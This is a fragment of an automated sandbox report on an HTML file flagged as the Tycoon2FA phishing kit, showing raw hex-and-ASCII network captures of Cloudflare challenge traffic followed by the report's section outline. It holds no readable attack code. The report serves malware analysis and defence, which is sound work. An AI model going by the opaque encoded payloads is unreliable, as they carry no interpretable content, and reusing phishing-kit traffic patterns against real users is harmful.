-j8Qh6rpwA6LT-Nwvis$r3w7iX$r-wwAZTbtjQUDK7Lj-+s1-Gjt+p27ywH+X07JweUDPbnj7+f07pju+4o-cjFqszrcjxQDA-KjGQJvbVmuJ5ecUu5JlbALWZVykkmi-gyYE2oDm3iCA$5WRIErbVdRVyfRDI7ct1A+-gTNQ2oJ5icX$9vrZAd$K5-Hyvdxfa7d1m5GYuE0jW0Ju$AmNtpoQjiFstiI9WBB274NzNIXnayPPWfE+SC6ts4CK$o
2025-04-22 18:09:38 UTC	322	IN	HTTP/1.1 200 OK Date: Tue, 22 Apr 2025 18:09:38 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 28192 Connection: close cf-chl-gen: PV3vp9GJ/0Vz05EFHcS75PXuGvmjOhjKzxkS3cQrERC1AnShPj+p/M6TwhLJ9CRg$wsljSIQH0N7+108zEs4kkg== Server: cloudflare CF-RAY: 934712c26bcd83f2-LAX alt-svc: h3=":443"; ma=86400
2025-04-22 18:09:38 UTC	1047	IN	Data Raw: 76 4a 65 51 73 34 71 62 73 4b 43 65 65 37 69 65 6e 5a 4f 6c 67 4c 61 46 6e 61 61 65 6d 62 75 71 6f 70 36 78 78 61 4f 69 6f 64 57 74 75 4c 7a 4d 72 4a 36 61 33 4e 50 45 34 62 54 55 6f 74 72 64 76 4f 66 61 70 4d 58 4d 75 62 48 4e 35 73 57 7a 7a 71 2f 72 37 66 47 30 36 4c 30 42 31 50 62 67 41 75 33 39 2b 66 37 56 39 4d 67 49 79 39 66 4b 78 77 6e 76 38 2f 44 4f 7a 77 7a 57 79 76 6a 69 31 65 51 57 45 68 51 55 44 65 48 65 2b 52 2f 76 4b 42 63 57 48 68 2f 6b 47 65 34 77 42 69 72 75 4e 50 4d 57 42 69 38 61 38 52 6f 70 4a 76 4d 30 2f 54 34 5a 4f 51 38 68 4f 7a 49 48 48 77 41 32 4c 44 77 74 41 55 41 6c 49 56 42 50 55 42 51 2f 4e 6a 45 30 45 53 6f 37 4a 30 41 2b 4c 7a 64 58 51 6b 49 7a 55 6b 64 65 52 53 74 64 61 6c 31 4a 54 7a 46 54 4a 57 4e 48 51 31 39 69 4b 30 6c Data Ascii: vJeQs4qbsKCee7ienZOlgLaFnaaembuqop6xxaOiodWtuLzMrJ6a3NPE4bTUotrdvOfapMXMubHN5sWzzq/r7fG06L0B1PbgAu39+f7V9MgIy9fKxwnv8/DOzwzWyvji1eQWEhQUDeHe+R/vKBcWHh/kGe4wBiruNPMWBi8a8RopJvM0/T4ZOQ8hOzIHHwA2LDwtAUAlIVBPUBQ/NjE0ESo7J0A+LzdXQkIzUkdeRStdal1JTzFTJWNHQ19iK0l
2025-04-22 18:09:38 UTC	1369	IN	Data Raw: 4b 77 34 36 2f 6a 73 6a 4c 78 63 79 59 6c 63 69 72 7a 5a 72 58 33 35 65 77 31 2b 50 4e 33 71 2b 67 71 4d 6e 56 75 73 50 44 36 62 6e 49 75 65 6d 72 31 62 50 58 77 65 62 30 79 2f 76 4d 37 73 33 4a 30 4f 72 57 2b 4f 4d 48 38 76 58 38 31 51 54 4b 36 77 33 62 7a 75 6e 51 41 65 4c 47 35 67 4d 4e 79 75 6f 54 36 2f 33 54 43 77 44 71 38 64 51 62 48 79 48 76 34 2b 63 61 35 79 73 4f 47 51 6f 69 2f 50 45 63 4a 77 6f 47 46 41 54 77 45 42 44 36 2b 66 51 52 43 42 76 39 46 67 38 51 41 50 77 6f 47 68 6c 45 4f 45 5a 4c 44 53 63 63 53 52 42 4d 49 68 55 53 54 53 68 45 57 7a 30 58 4d 69 67 53 54 6a 39 51 56 56 46 52 49 6c 4e 69 56 79 52 43 59 6d 46 4e 62 45 35 6c 54 45 6b 6e 62 6c 38 7a 62 6c 64 38 64 31 52 53 66 47 74 4f 57 48 71 46 57 56 70 2b 50 30 64 65 65 6d 68 61 57 6f Data Ascii: Kw46/jsjLxcyYlcirzZrX35ew1+PN3q+gqMnVusPD6bnIuemr1bPXweb0y/vM7s3J0OrW+OMH8vX81QTK6w3bzunQAeLG5gMNyuoT6/3TCwDq8dQbHyHv4+ca5ysOGQoi/PEcJwoGFATwEBD6+fQRCBv9Fg8QAPwoGhlEOEZLDSccSRBMIhUSTShEWz0XMigSTj9QVVFRIlNiVyRCYmFNbE5lTEknbl8zbld8d1RSfGtOWHqFWVp+P0deemhaWo
2025-04-22 18:09:38 UTC	1369	IN	Data Raw: 77 61 62 42 6c 4b 76 61 79 37 69 2f 74 39 2f 50 76 73 79 2f 77 71 50 44 77 4e 32 63 31 38 61 34 72 64 2f 76 37 65 4b 39 71 73 50 41 71 65 7a 56 37 75 54 4e 73 2f 69 33 2f 75 7a 75 37 50 54 46 75 4e 2f 55 76 2b 4c 45 78 41 63 47 78 39 7a 67 33 75 7a 66 30 4d 30 48 34 50 44 6b 47 52 72 62 39 76 76 77 45 68 33 38 33 2f 62 76 4a 68 67 56 42 68 72 30 4a 79 33 70 4b 41 45 4e 4d 75 62 72 4d 2f 49 43 45 51 6e 30 39 54 76 33 2f 50 31 42 50 52 45 6d 49 54 6b 48 48 69 41 2f 49 52 77 49 53 44 6b 68 44 79 67 63 4b 78 34 55 46 68 4a 45 45 6a 49 73 4f 6c 70 41 56 53 34 66 58 56 68 59 4c 32 64 62 58 45 4e 64 50 31 73 74 58 6d 46 76 63 6e 4a 79 62 48 42 74 4b 32 4e 75 53 54 64 78 4e 32 6c 64 64 48 6b 32 59 58 4a 78 55 34 4e 37 61 55 6c 33 59 57 75 46 55 46 42 4a 55 31 52 Data Ascii: wabBlKvay7i/t9/Pvsy/wqPDwN2c18a4rd/v7eK9qsPAqezV7uTNs/i3/uzu7PTFuN/Uv+LExAcGx9zg3uzf0M0H4PDkGRrb9vvwEh383/bvJhgVBhr0Jy3pKAENMubrM/ICEQn09Tv3/P1BPREmITkHHiA/IRwISDkhDygcKx4UFhJEEjIsOlpAVS4fXVhYL2dbXENdP1stXmFvcnJybHBtK2NuSTdxN2lddHk2YXJxU4N7aUl3YWuFUFBJU1R
2025-04-22 18:09:38 UTC	1369	IN	Data Raw: 70 75 30 72 35 4c 4b 6e 74 4f 61 7a 74 79 67 71 4e 4b 36 35 36 7a 57 76 61 47 77 32 73 4c 4a 74 4e 37 4a 34 37 6a 69 7a 65 7a 4b 2b 39 76 79 31 74 77 42 75 73 48 6c 76 66 54 30 42 66 6a 57 78 77 7a 45 79 50 37 63 35 2f 73 57 33 64 55 46 38 76 59 54 42 76 59 53 43 77 7a 36 37 4f 45 54 35 43 49 58 38 64 37 35 39 4e 30 63 37 53 63 42 49 52 45 53 2f 66 49 65 47 41 54 32 44 69 33 7a 44 54 63 66 4b 42 63 72 44 45 51 34 41 69 41 32 4e 7a 73 31 54 45 59 74 52 77 49 51 50 7a 38 54 48 53 31 4c 43 68 42 58 46 42 6b 61 58 56 6b 74 51 6a 31 56 49 7a 6f 38 57 7a 30 34 4a 47 52 45 4f 30 64 73 4d 46 42 64 54 6b 64 6c 55 47 39 31 65 55 35 79 64 33 78 70 4f 6c 52 57 65 30 35 75 57 57 39 64 69 58 68 6b 62 46 68 34 61 47 65 44 62 32 4f 51 68 6c 31 32 62 59 65 53 68 6f 69 61 Data Ascii: pu0r5LKntOaztygqNK656zWvaGw2sLJtN7J47jizezK+9vy1twBusHlvfT0BfjWxwzEyP7c5/sW3dUF8vYTBvYSCwz67OET5CIX8d759N0c7ScBIRES/fIeGAT2Di3zDTcfKBcrDEQ4AiA2Nzs1TEYtRwIQPz8THS1LChBXFBkaXVktQj1VIzo8Wz04JGREO0dsMFBdTkdlUG91eU5yd3xpOlRWe05uWW9diXhkbFh4aGeDb2OQhl12bYeShoia
2025-04-22 18:09:38 UTC	1369	IN	Data Raw: 43 62 34 4a 79 32 75 62 4c 64 77 4e 6d 2b 74 37 33 65 72 64 4f 37 30 4e 62 48 77 39 6e 61 38 63 2f 50 74 66 6a 79 32 50 6a 52 33 73 7a 69 77 66 48 6f 2f 4e 66 6b 78 75 44 58 77 51 30 4a 44 41 73 4a 45 75 67 48 35 75 30 53 43 64 49 52 38 4e 34 52 41 78 41 62 39 69 50 39 46 75 4d 53 49 69 48 73 49 2f 77 46 4c 69 59 69 41 75 72 2b 46 41 6a 34 4f 77 38 58 48 53 30 55 4f 52 4d 79 45 67 30 74 51 30 59 67 52 6b 42 43 42 6b 30 69 4f 78 30 49 54 67 77 79 4d 51 78 59 4b 54 6f 7a 4c 52 55 6e 54 31 52 5a 49 56 56 4f 54 46 70 69 4a 54 78 49 56 44 67 71 61 43 70 63 5a 6d 51 6b 4a 57 74 7a 63 45 42 76 4f 48 49 34 65 6d 78 4e 58 6b 36 41 59 6e 42 75 51 6d 64 59 68 6f 6c 2f 61 47 75 49 62 6c 39 6e 55 49 46 6a 61 6f 47 43 6b 6b 39 36 68 34 35 6e 5a 35 5a 66 6f 47 42 66 6b Data Ascii: Cb4Jy2ubLdwNm+t73erdO70NbHw9na8c/Ptfjy2PjR3sziwfHo/NfkxuDXwQ0JDAsJEugH5u0SCdIR8N4RAxAb9iP9FuMSIiHsI/wFLiYiAur+FAj4Ow8XHS0UORMyEg0tQ0YgRkBCBk0iOx0ITgwyMQxYKTozLRUnT1RZIVVOTFpiJTxIVDgqaCpcZmQkJWtzcEBvOHI4emxNXk6AYnBuQmdYhol/aGuIbl9nUIFjaoGCkk96h45nZ5ZfoGBfk
2025-04-22 18:09:38 UTC	1369	IN	Data Raw: 43 70 37 62 61 36 71 47 75 71 65 76 65 7a 75 62 46 79 74 4c 43 75 75 58 39 74 37 6e 6e 41 65 6e 36 34 2f 6a 35 2f 50 34 42 39 77 4d 45 2f 74 6a 46 33 41 77 46 41 38 6e 76 39 75 44 66 2b 51 58 7a 44 50 76 73 32 64 67 51 45 65 7a 66 49 68 38 47 42 42 54 79 34 52 51 4f 39 52 6f 4c 35 77 59 79 4d 79 67 56 49 43 73 31 4e 52 6f 4a 42 6a 55 67 49 54 6b 79 4a 42 62 38 46 42 33 2b 52 43 64 43 4e 43 49 67 53 43 73 76 4a 43 6f 4e 4a 30 38 7a 47 44 55 73 4c 52 4a 54 4f 56 31 4a 46 7a 59 32 55 6a 6f 6b 4e 79 5a 45 61 56 4e 58 52 43 78 6e 5a 45 59 79 50 45 73 76 61 54 4e 4e 52 47 4e 35 61 31 31 4e 53 46 5a 68 67 33 75 44 57 31 49 2b 5a 48 35 42 57 54 36 44 66 34 78 73 61 56 4b 44 69 34 31 76 67 35 43 45 64 48 52 54 64 35 4b 5a 6f 4a 31 39 62 48 6c 79 64 32 43 58 70 70 Data Ascii: Cp7ba6qGuqevezubFytLCuuX9t7nnAen64/j5/P4B9wME/tjF3AwFA8nv9uDf+QXzDPvs2dgQEezfIh8GBBTy4RQO9RoL5wYyMygVICs1NRoJBjUgITkyJBb8FB3+RCdCNCIgSCsvJCoNJ08zGDUsLRJTOV1JFzY2UjokNyZEaVNXRCxnZEYyPEsvaTNNRGN5a11NSFZhg3uDW1I+ZH5BWT6Df4xsaVKDi41vg5CEdHRTd5KZoJ19bHlyd2CXpp
2025-04-22 18:09:38 UTC	1369	IN	Data Raw: 7a 63 71 76 30 75 76 70 77 2f 50 4d 31 66 7a 33 31 50 66 78 2b 39 54 63 33 75 37 42 34 74 4c 46 35 65 50 2b 36 4d 72 6b 41 67 48 6f 41 67 76 79 38 77 6a 52 46 4f 49 4e 31 74 66 5a 44 64 73 43 33 78 48 30 41 75 49 55 39 69 50 6c 47 69 33 6c 48 67 55 6d 49 51 30 68 4b 76 54 2b 4c 4f 37 31 4d 42 63 76 44 68 67 62 39 77 6f 67 48 76 73 69 48 79 45 6a 41 53 51 6c 4b 45 51 67 4c 43 30 75 4c 6a 41 78 4d 6a 41 75 4e 53 49 7a 4f 44 68 55 4e 6a 6f 59 4b 6a 39 41 4d 54 55 6d 51 7a 52 67 51 55 64 66 4f 6b 64 4a 59 31 4a 4f 54 7a 38 74 53 46 4d 77 53 6b 78 56 57 56 5a 59 57 7a 68 4a 51 6c 39 33 5a 6c 39 68 5a 49 42 6d 5a 32 69 45 59 47 74 62 53 57 6c 77 63 58 5a 75 63 31 42 69 65 48 68 70 65 6d 39 32 66 47 46 7a 67 48 46 79 67 6f 4e 67 63 6f 47 47 5a 48 31 75 69 33 32 Data Ascii: zcqv0uvpw/PM1fz31Pfx+9Tc3u7B4tLF5eP+6MrkAgHoAgvy8wjRFOIN1tfZDdsC3xH0AuIU9iPlGi3lHgUmIQ0hKvT+LO71MBcvDhgb9wogHvsiHyEjASQlKEQgLC0uLjAxMjAuNSIzODhUNjoYKj9AMTUmQzRgQUdfOkdJY1JOTz8tSFMwSkxVWVZYWzhJQl93Zl9hZIBmZ2iEYGtbSWlwcXZuc1BieHhpem92fGFzgHFygoNgcoGGZH1ui32

Timestamp	Bytes transferred	Direction	Data
2025-04-22 18:09:43 UTC	1191	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/634974395:1745342180:uKBXzDjkUEtlp3JW1o_n-eV3FVylXYclpYHKtRl9sXg/9347129aedd47867/vO40KqVwuwUjFIR.96gez5y443KorbplGntCz4bWQLM-1745345371-1.1.1.1-VqbvdK3GGE20cfl6ofBnuSgwu_OniIRF1D4CVQUqKcTcqVCZjrQqVX_klPbqTve_ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 40789 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: vO40KqVwuwUjFIR.96gez5y443KorbplGntCz4bWQLM-1745345371-1.1.1.1-VqbvdK3GGE20cfl6ofBnuSgwu_OniIRF1D4CVQUqKcTcqVCZjrQqVX_klPbqTve_ cf-chl-ra: 0 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/fd6k9/0x4AAAAAABLO6rHX9j2eSnXT/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-22 18:09:43 UTC	16384	OUT	Data Raw: 51 4c 64 57 54 45 31 2d 78 33 65 67 65 47 2d 6d 48 31 32 45 49 79 33 2d 47 59 45 64 64 6d 4c 31 6f 77 32 6d 51 57 6d 2d 47 31 69 6d 69 59 33 49 36 63 31 58 6d 6e 79 71 4c 79 6d 53 24 6d 36 4b 78 7a 4b 6d 45 6a 79 57 6d 43 39 41 50 2d 79 6d 74 59 31 76 6d 79 79 31 53 6d 52 39 57 75 6f 6d 56 4a 79 31 75 4e 6d 7a 41 6b 6e 71 79 31 65 37 63 6d 76 78 31 71 52 79 33 6e 6d 7a 71 6d 7a 63 67 77 57 33 63 6d 79 48 44 4b 4f 66 67 32 79 6d 4a 6d 41 65 6d 50 71 45 57 63 57 47 6e 6d 47 78 68 64 24 65 4a 63 47 5a 48 67 31 4c 6d 6b 57 47 6d 65 6b 76 79 6d 51 78 57 56 7a 6d 6d 2b 24 59 6d 4a 2b 56 71 64 6d 45 35 67 6d 45 58 63 6f 78 6d 52 48 34 76 49 76 65 57 71 76 49 78 74 49 5a 79 31 7a 59 56 46 24 36 4a 61 4f 54 6e 2d 6d 31 37 63 57 6d 58 70 59 45 76 6d 67 79 75 6d 33 Data Ascii: QLdWTE1-x3egeG-mH12EIy3-GYEddmL1ow2mQWm-G1imiY3I6c1XmnyqLymS$m6KxzKmEjyWmC9AP-ymtY1vmyy1SmR9WuomVJy1uNmzAknqy1e7cmvx1qRy3nmzqmzcgwW3cmyHDKOfg2ymJmAemPqEWcWGnmGxhd$eJcGZHg1LmkWGmekvymQxWVzmm+$YmJ+VqdmE5gmEXcoxmRH4vIveWqvIxtIZy1zYVF$6JaOTn-m17cWmXpYEvmgyum3
2025-04-22 18:09:43 UTC	16384	OUT	Data Raw: 6d 61 61 71 51 6d 68 71 30 6c 37 47 45 6d 65 46 56 6c 66 6f 35 49 50 56 7a 6d 6d 31 65 46 31 34 44 67 78 33 37 43 62 31 6f 74 2b 42 7a 6f 54 75 63 44 46 63 43 35 47 79 39 72 50 46 6f 64 31 73 6e 51 4c 4a 7a 38 46 75 49 69 53 57 59 63 45 76 6c 4c 75 63 4c 67 56 75 6d 64 31 64 76 24 4c 4a 69 37 58 6d 42 42 6d 33 49 6b 6d 53 79 33 53 63 4a 59 24 57 33 31 63 37 67 4e 7a 34 49 59 4f 6d 77 68 69 65 31 58 54 64 68 45 49 68 55 4c 31 63 57 5a 73 66 6d 72 30 4f 66 57 71 6d 74 79 33 68 63 50 6d 32 79 71 31 63 39 30 52 69 4a 7a 59 74 6f 56 7a 42 47 31 69 2d 45 59 71 7a 65 6c 69 71 4b 78 6d 70 48 4f 7a 6d 7a 6f 47 73 56 52 49 32 75 48 43 4b 71 52 6d 6c 63 30 6e 31 79 7a 4a 59 33 44 67 36 7a 45 4a 39 79 6d 4f 79 6a 79 37 57 79 6f 4f 31 79 30 6e 67 48 59 31 70 32 49 76 Data Ascii: maaqQmhq0l7GEmeFVlfo5IPVzmm1eF14Dgx37Cb1ot+BzoTucDFcC5Gy9rPFod1snQLJz8FuIiSWYcEvlLucLgVumd1dv$LJi7XmBBm3IkmSy3ScJY$W31c7gNz4IYOmwhie1XTdhEIhUL1cWZsfmr0OfWqmty3hcPm2yq1c90RiJzYtoVzBG1i-EYqzeliqKxmpHOzmzoGsVRI2uHCKqRmlc0n1yzJY3Dg6zEJ9ymOyjy7WyoO1y0ngHY1p2Iv
2025-04-22 18:09:43 UTC	8021	OUT	Data Raw: 2d 6a 38 51 68 36 72 70 77 41 36 4c 54 2d 4e 77 76 69 73 24 72 33 77 37 69 58 24 72 2d 77 77 41 5a 54 62 74 6a 51 55 44 4b 37 4c 6a 2d 2b 73 31 2d 47 6a 74 2b 70 32 37 79 77 48 2b 58 30 37 4a 77 65 55 44 50 62 6e 6a 37 2b 66 30 37 70 6a 75 2b 34 6f 2d 63 6a 46 71 73 7a 72 63 6a 78 51 44 41 2d 4b 6a 47 51 4a 76 62 56 6d 75 4a 35 65 63 55 75 35 4a 6c 62 41 4c 57 5a 56 79 6b 6b 6d 69 2d 67 79 59 45 32 6f 44 6d 33 69 43 41 24 35 57 52 49 45 72 62 56 64 52 56 79 66 52 44 49 37 63 74 31 41 2b 2d 67 54 4e 51 32 6f 4a 35 69 63 58 24 39 76 72 5a 41 64 24 4b 35 2d 48 79 76 64 78 66 61 37 64 31 6d 35 47 59 75 45 30 6a 57 30 4a 75 24 41 6d 4e 74 70 6f 51 6a 69 46 73 74 69 49 39 57 42 42 32 37 34 4e 7a 4e 49 58 6e 61 79 50 50 57 66 45 2b 53 43 36 74 73 34 43 4b 24 6f Data Ascii: -j8Qh6rpwA6LT-Nwvis$r3w7iX$r-wwAZTbtjQUDK7Lj-+s1-Gjt+p27ywH+X07JweUDPbnj7+f07pju+4o-cjFqszrcjxQDA-KjGQJvbVmuJ5ecUu5JlbALWZVykkmi-gyYE2oDm3iCA$5WRIErbVdRVyfRDI7ct1A+-gTNQ2oJ5icX$9vrZAd$K5-Hyvdxfa7d1m5GYuE0jW0Ju$AmNtpoQjiFstiI9WBB274NzNIXnayPPWfE+SC6ts4CK$o
2025-04-22 18:09:44 UTC	135	IN	HTTP/1.1 200 OK Date: Tue, 22 Apr 2025 18:09:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4792 Connection: close
2025-04-22 18:09:44 UTC	1486	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 2d 73 3a 20 78 72 4f 62 6a 7a 75 4d 43 58 68 4d 7a 54 6d 77 49 33 6a 41 59 2f 6f 4b 37 61 54 35 62 64 4f 6a 4f 6d 71 43 55 59 53 74 36 71 67 79 31 4e 49 47 6e 53 47 48 62 68 34 4c 52 68 37 6a 57 55 48 52 41 70 46 7a 42 78 74 6f 6b 35 6d 39 71 39 32 63 33 73 62 4f 5a 77 76 4e 56 68 53 2b 79 62 57 6f 32 65 5a 64 32 69 37 49 35 50 6d 62 65 66 39 73 32 51 63 33 38 76 6e 2f 2b 31 45 41 47 47 77 4c 61 62 63 59 43 36 56 6d 38 69 32 45 36 52 61 74 63 70 42 73 4c 79 76 4d 53 6f 42 79 75 77 39 47 66 2b 4b 52 51 64 47 30 44 77 36 36 6d 45 39 30 75 67 4e 56 76 6b 68 46 70 46 61 74 42 71 33 73 76 78 55 38 49 38 36 35 41 43 46 57 68 6d 62 69 6c 43 6d 57 46 55 6e 67 75 58 56 4b 62 61 6d 70 35 74 35 73 2f 67 79 63 31 52 72 59 36 6a 79 7a 54 Data Ascii: cf-chl-out-s: xrObjzuMCXhMzTmwI3jAY/oK7aT5bdOjOmqCUYSt6qgy1NIGnSGHbh4LRh7jWUHRApFzBxtok5m9q92c3sbOZwvNVhS+ybWo2eZd2i7I5Pmbef9s2Qc38vn/+1EAGGwLabcYC6Vm8i2E6RatcpBsLyvMSoByuw9Gf+KRQdG0Dw66mE90ugNVvkhFpFatBq3svxU8I865ACFWhmbilCmWFUnguXVKbamp5t5s/gyc1RrY6jyzT
2025-04-22 18:09:44 UTC	1117	IN	Data Raw: 76 4a 65 51 73 34 71 62 73 4b 43 65 65 37 69 65 6e 5a 4f 6c 67 4c 61 45 68 4d 53 42 76 38 50 4c 70 4e 44 41 6f 35 4b 68 78 71 54 56 71 39 79 59 32 61 2f 68 72 39 48 4e 72 36 37 59 79 4e 37 64 76 4f 66 61 70 4d 6d 38 30 61 37 4a 76 2b 7a 48 32 4f 6e 72 37 66 47 30 36 4c 30 41 36 73 7a 4f 41 50 32 33 2b 66 37 56 39 4d 6f 4e 34 4e 6a 67 45 4d 34 53 7a 77 76 31 43 66 55 47 41 78 72 58 48 41 6b 54 37 42 34 61 47 2b 6f 6b 48 78 6f 61 48 42 77 57 39 43 30 58 2b 41 4d 77 48 51 54 76 4e 51 6b 32 36 44 51 4d 4d 69 34 76 39 43 6e 2b 51 53 6f 41 46 6b 41 2b 2b 78 67 2f 4b 67 49 71 4f 53 42 48 48 6b 78 4b 43 43 51 71 52 52 5a 44 52 43 49 5a 55 42 6c 62 54 54 55 2f 47 43 49 2b 55 56 45 6c 51 6d 49 6e 4d 69 59 39 58 6a 6f 71 52 6c 70 63 5a 46 77 76 54 6c 56 76 4b 31 70 Data Ascii: vJeQs4qbsKCee7ienZOlgLaEhMSBv8PLpNDAo5KhxqTVq9yY2a/hr9HNr67YyN7dvOfapMm80a7Jv+zH2Onr7fG06L0A6szOAP23+f7V9MoN4NjgEM4Szwv1CfUGAxrXHAkT7B4aG+okHxoaHBwW9C0X+AMwHQTvNQk26DQMMi4v9Cn+QSoAFkA++xg/KgIqOSBHHkxKCCQqRRZDRCIZUBlbTTU/GCI+UVElQmInMiY9XjoqRlpcZFwvTlVvK1p
2025-04-22 18:09:44 UTC	1369	IN	Data Raw: 73 33 77 35 2f 72 41 33 50 54 71 32 65 51 49 36 73 66 48 36 4d 7a 47 46 76 54 51 31 42 67 50 44 78 67 5a 39 52 50 59 41 51 34 58 41 69 58 2b 47 53 41 5a 43 50 6e 38 34 77 30 6a 44 65 34 49 37 79 77 4a 44 75 34 31 4f 68 49 48 2f 42 38 62 51 51 45 71 47 52 45 34 48 69 55 77 42 52 67 72 42 52 6f 35 53 52 38 6c 44 69 6b 7a 4a 6a 41 75 45 53 34 6a 4f 53 6b 63 47 30 42 5a 4c 6a 63 36 47 7a 4a 48 51 31 73 32 4e 6b 67 6b 4c 57 35 4f 50 31 4a 67 53 69 30 31 61 45 38 78 57 6e 56 57 4d 33 67 33 61 55 35 39 66 6c 70 68 54 54 78 66 65 33 78 44 68 48 39 6a 6a 47 56 63 53 5a 4f 4e 59 55 32 43 63 34 75 51 6b 33 53 56 65 70 39 37 66 5a 43 42 65 5a 64 58 70 35 75 5a 70 47 4f 4c 61 6e 65 76 71 61 52 37 73 6f 75 70 6a 6f 79 52 69 6e 6d 6b 6d 6f 69 56 66 70 64 35 6a 38 4f 62 Data Ascii: s3w5/rA3PTq2eQI6sfH6MzGFvTQ1BgPDxgZ9RPYAQ4XAiX+GSAZCPn84w0jDe4I7ywJDu41OhIH/B8bQQEqGRE4HiUwBRgrBRo5SR8lDikzJjAuES4jOSkcG0BZLjc6GzJHQ1s2NkgkLW5OP1JgSi01aE8xWnVWM3g3aU59flphTTxfe3xDhH9jjGVcSZONYU2Cc4uQk3SVep97fZCBeZdXp5uZpGOLanevqaR7soupjoyRinmkmoiVfpd5j8Ob
2025-04-22 18:09:44 UTC	1369	IN	Data Raw: 7a 4b 34 65 4d 44 35 4e 2f 4c 44 4f 2f 30 46 75 33 6c 46 68 67 48 32 4e 62 63 43 65 76 75 2f 65 49 4f 46 2f 45 49 46 76 66 2b 4b 66 37 72 46 79 58 33 4b 77 62 38 49 78 34 4d 4b 75 30 5a 45 6a 49 39 4b 50 73 64 47 51 30 72 44 41 34 5a 45 77 51 6b 46 69 59 39 43 44 6f 2f 52 77 34 73 4d 43 51 4e 50 52 34 6b 46 45 52 44 52 7a 49 57 47 56 38 30 53 7a 5a 5a 50 55 42 42 48 79 45 39 59 30 41 35 54 57 5a 51 5a 6a 77 2b 52 54 4a 44 51 30 55 34 4f 47 74 35 54 57 56 7a 65 6d 46 61 58 59 52 6b 5a 48 6c 79 58 31 35 63 51 6f 46 4a 62 6c 35 6c 6a 49 46 77 67 4a 4a 4d 6c 5a 68 6d 64 48 64 34 64 56 6c 31 69 47 43 64 6f 6f 79 42 58 61 47 6d 6f 49 46 68 70 35 32 59 61 59 35 36 68 37 4b 54 66 61 6d 73 71 36 57 4e 75 4a 43 4d 68 72 2b 35 74 58 7a 42 72 59 4f 5a 77 37 61 62 69 Data Ascii: zK4eMD5N/LDO/0Fu3lFhgH2NbcCevu/eIOF/EIFvf+Kf7rFyX3Kwb8Ix4MKu0ZEjI9KPsdGQ0rDA4ZEwQkFiY9CDo/Rw4sMCQNPR4kFERDRzIWGV80SzZZPUBBHyE9Y0A5TWZQZjw+RTJDQ0U4OGt5TWVzemFaXYRkZHlyX15cQoFJbl5ljIFwgJJMlZhmdHd4dVl1iGCdooyBXaGmoIFhp52YaY56h7KTfamsq6WNuJCMhr+5tXzBrYOZw7abi
2025-04-22 18:09:44 UTC	937	IN	Data Raw: 66 44 4e 44 51 2f 76 54 6c 38 51 77 46 44 78 44 6d 45 78 4c 74 49 67 49 4d 34 50 45 45 39 67 72 30 41 78 30 63 47 67 7a 6e 37 41 49 4b 42 77 72 74 46 67 4d 7a 36 78 4d 74 38 2f 67 35 51 51 46 41 48 7a 64 45 4e 53 49 43 4b 6b 73 6d 4a 77 30 59 4f 69 30 6a 55 7a 4a 48 4a 6b 38 75 4d 31 51 7a 4f 69 6f 5a 46 7a 77 72 56 43 31 4f 58 55 4a 55 57 31 6c 67 61 55 77 33 56 79 68 4f 50 6b 70 68 55 30 64 4f 64 31 5a 45 4d 56 52 5a 4e 45 5a 49 56 7a 64 78 67 6e 35 68 54 55 5a 65 57 31 4a 59 61 32 68 4a 62 57 79 46 61 6b 71 4d 63 46 36 4b 63 56 42 79 63 6e 46 54 61 56 52 39 62 59 4a 5a 67 4a 5a 64 58 71 4b 68 68 70 71 49 70 47 57 74 71 6e 36 47 73 34 71 52 6e 33 43 78 6c 62 53 37 6b 6e 53 77 74 37 6d 79 71 63 4b 64 6b 4a 71 6c 6f 4a 57 68 69 61 65 70 78 63 75 6f 6e 4a Data Ascii: fDNDQ/vTl8QwFDxDmExLtIgIM4PEE9gr0Ax0cGgzn7AIKBwrtFgMz6xMt8/g5QQFAHzdENSICKksmJw0YOi0jUzJHJk8uM1QzOioZFzwrVC1OXUJUW1lgaUw3VyhOPkphU0dOd1ZEMVRZNEZIVzdxgn5hTUZeW1JYa2hJbWyFakqMcF6KcVBycnFTaVR9bYJZgJZdXqKhhpqIpGWtqn6Gs4qRn3CxlbS7knSwt7myqcKdkJqloJWhiaepxcuonJ

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report order.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Tycoon2FA

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

